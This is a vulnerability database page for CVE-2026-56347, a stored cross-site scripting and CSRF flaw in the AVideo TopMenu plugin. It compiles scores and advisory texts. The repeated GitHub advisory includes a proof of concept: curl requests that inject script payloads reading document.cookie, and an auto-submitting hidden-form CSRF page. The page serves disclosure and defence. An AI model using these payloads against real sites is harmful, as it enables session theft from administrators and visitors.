Every CVE Search/ Get API key

CVE-2026-56347

AVideo TopMenu Plugin - Stored Cross-Site Scripting via Unescaped Menu Item Fields

5.3 Medium

AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.20%Unchanged since Jun 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.3

AVideo TopMenu Plugin - Stored Cross-Site Scripting via Unescaped Menu Item Fields

AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.

Record
CVE-2026-56347
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-08
EUVDEUVD-2026-38134 5.3

AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.

Record
EUVD-2026-38134
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Updated
2026-11-08
GitHub AdvisoriesGHSA-5226-vrg8-xx79 5.3

AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability...

AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.

Record
GHSA-5226-vrg8-xx79
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
GitHub AdvisoriesGHSA-gmpc-fxg2-vcmq 6.1

AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin

Summary

The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.

Details

Multiple output locations in the TopMenu plugin render user-controlled data without escaping:

In HTMLMenuRight.php:24, the icon class is injected directly:

<i class="<?php echo $value2['icon'] ?>"></i>

In HTMLMenuRight.php:40, the URL is rendered without encoding:

<a href="<?php echo $value2['finalURL']; ?>">

In HTMLMenuLeft.php:32, same pattern for the left menu:

<a href="<?php echo $value2['finalURL']; ?>">

In index.php:49, the menu item text is echoed raw:

<?php echo $menuItem->getText(); ?>

Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.

Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.

Proof of Concept

  1. As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
  1. Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
  1. Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
  1. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
      action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
  <input type="hidden" name="menuId" value="1" />
  <input type="hidden" name="item_order" value="99" />
  <input type="hidden" name="item_status" value="a" />
  <input type="hidden" name="text" value="&lt;script&gt;alert(document.cookie)&lt;/script&gt;" />
  <input type="hidden" name="title" value="Home" />
  <input type="hidden" name="url" value="/" />
  <input type="hidden" name="icon" value="fa-home" />
  <input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>

The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.

  1. Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
  1. The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.

Impact

Stored cross-site scripting on every page of the AVideo…

Record
GHSA-gmpc-fxg2-vcmq
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 5.3

AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.

Record
CVE-2026-56347
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
OSV 5.3

AVideo TopMenu Plugin - Stored Cross-Site Scripting via Unescaped Menu Item Fields

AVideo TopMenu plugin through version 26.0 contains a stored cross-site scripting vulnerability in menu item rendering due to missing output encoding of icon classes, URLs, and text labels. Attackers can inject malicious JavaScript through unescaped menu item fields that execute for all site visitors, potentially stealing session cookies or performing unauthorized actions.

Record
CVE-2026-56347
CVSS 4.0
5.3 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-09
OSVGHSA-gmpc-fxg2-vcmq 6.1

AVideo has Stored XSS via Unescaped Menu Item Fields in TopMenu Plugin

Summary

The TopMenu plugin renders menu item fields (icon classes, URLs, and text labels) directly into HTML without applying htmlspecialchars() or any other output encoding. Since menu items are rendered on every public page through plugin hooks, a single malicious menu entry results in stored cross-site scripting that executes for every visitor to the site. An admin user who is tricked into saving a crafted menu item (or an attacker who gains admin access) can compromise all site visitors.

Details

Multiple output locations in the TopMenu plugin render user-controlled data without escaping:

In HTMLMenuRight.php:24, the icon class is injected directly:

<i class="<?php echo $value2['icon'] ?>"></i>

In HTMLMenuRight.php:40, the URL is rendered without encoding:

<a href="<?php echo $value2['finalURL']; ?>">

In HTMLMenuLeft.php:32, same pattern for the left menu:

<a href="<?php echo $value2['finalURL']; ?>">

In index.php:49, the menu item text is echoed raw:

<?php echo $menuItem->getText(); ?>

Menu item data is saved via menuItemSave.json.php with no sanitization in the setter methods. The stored values are loaded from the database and rendered on every page because the TopMenu plugin hooks into the global page layout.

Critically, menuItemSave.json.php has no CSRF protection. It checks User::isAdmin() but does not call isGlobalTokenValid() or perform any other CSRF token validation. This means the stored XSS can be chained with CSRF: an attacker does not need a compromised admin account. Instead, a cross-origin POST from an attacker-controlled page can create the malicious menu item if an admin visits the attacker's page while logged in.

Proof of Concept

  1. As an admin user, save a menu item with a malicious icon class:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home" onmouseover="alert(document.cookie)&text=Home&url=/&status=a'
  1. Alternatively, inject via the URL field to create a JavaScript link:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-link&text=Click+Me&url=javascript:alert(document.cookie)&status=a'
  1. Alternatively, inject via the text field:
curl -b "PHPSESSID=ADMIN_SESSION" \
  -X POST "https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php" \
  -d 'icon=fa-home&text=<script>alert(document.cookie)</script>&url=/&status=a'
  1. Alternatively, chain with CSRF (no admin account needed). Host this HTML on an attacker-controlled domain and lure an admin to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-041 CSRF + Stored XSS PoC</title></head>
<body>
<h1>Loading...</h1>
<iframe name="f1" style="display:none"></iframe>
<form id="inject" method="POST" target="f1"
      action="https://your-avideo-instance.com/plugin/TopMenu/menuItemSave.json.php">
  <input type="hidden" name="menuId" value="1" />
  <input type="hidden" name="item_order" value="99" />
  <input type="hidden" name="item_status" value="a" />
  <input type="hidden" name="text" value="&lt;script&gt;alert(document.cookie)&lt;/script&gt;" />
  <input type="hidden" name="title" value="Home" />
  <input type="hidden" name="url" value="/" />
  <input type="hidden" name="icon" value="fa-home" />
  <input type="hidden" name="menuSeoUrlItem" value="" />
</form>
<script>document.getElementById('inject').submit();</script>
</body>
</html>

The cross-origin POST creates the malicious menu item because menuItemSave.json.php has no CSRF token validation.

  1. Visit any page on the AVideo instance:
curl "https://your-avideo-instance.com/"
  1. The injected JavaScript executes in the context of every visitor's browser session because the menu is rendered on all pages.

Impact

Stored cross-site scripting on every page of the AVideo…

Record
GHSA-gmpc-fxg2-vcmq
CVSS 3.1
6.1 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
wwbn/avideo
Packagist
through 26.0 None known
wwbn/avideo
Packagist
through 26.0, plus listed versions
10.410.81111.111.1.1
Show 11 moreShow less
11.511.612.414.314.3.114.418.021.022.024.025.0
None known

History

History
RecordedChangedSources
factsEUVD
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-56347 is a medium vulnerability (CVSS 5.3) in Wwbn Avideo, published April 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open